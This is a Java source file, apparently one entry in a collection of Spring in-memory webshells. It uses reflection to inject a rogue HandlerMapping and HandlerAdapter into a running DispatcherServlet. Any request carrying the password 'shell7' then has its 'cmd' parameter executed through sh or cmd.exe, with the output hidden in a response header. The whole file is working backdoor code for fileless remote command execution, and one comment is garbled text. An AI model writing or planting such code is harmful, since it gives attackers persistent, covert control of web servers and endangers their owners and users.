package com.example.springshell.memshell;
import com.example.springshell.utils.Util;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.Scanner;
public class No7_HandlerMappingShell implements HandlerMapping {
HandlerExecutionChain chain;
public No7_HandlerMappingShell(){
chain = new HandlerExecutionChain(new com.example.springshell.memshell.No7_HandlerMappingShell.MyHandler());
}
public static String injectShell() throws Exception{
DispatcherServlet servlet = new Util().getServlet();
List handlerAdapters = (List) Util.getFieldValue(servlet,"handlerAdapters");
handlerAdapters.add(new com.example.springshell.memshell.No7_HandlerMappingShell.MyHandlerAdapter());
List handlerMappings = (List) Util.getFieldValue(servlet,"handlerMappings");
handlerMappings.add(0,new com.example.springshell.memshell.No7_HandlerMappingShell());
return "{\"result\":\"No7_HandlerMappingShell\"}";
}
@Override
public boolean usesPathPatterns() {
return HandlerMapping.super.usesPathPatterns();
}
// 任何路径，或者写的任æ„æž„é€
@Override
public HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
String passwd = request.getParameter("pass");
String cmd = request.getParameter("cmd");
if(passwd!=null && cmd!=null && passwd.equals("shell7") && !cmd.isEmpty()){
return chain;
}
return null;
}
static class MyHandlerAdapter implements HandlerAdapter {
@Override
public boolean supports(Object handler) {
return handler instanceof com.example.springshell.memshell.No7_HandlerMappingShell.MyHandler;
}
@Override
public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
((com.example.springshell.memshell.No7_HandlerMappingShell.MyHandler)handler).handle(request,response);
return null;
}
@Override
public long getLastModified(HttpServletRequest request, Object handler) {
return 0;
}
}
class MyHandler{
public void handle(HttpServletRequest request,HttpServletResponse response) throws IOException, IOException {
if (request.getParameter("cmd") !=null) {
boolean islinux = true;
String osType = System.getProperty("os.name");
if (osType !=null && osType.toLowerCase().contains("win")){
islinux = false;
}
String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// response.getWriter().write(output);
// response.getWriter().flush();
// response.getWriter().close();
response.setHeader("Exec-result", new String(output));
}
}
}
}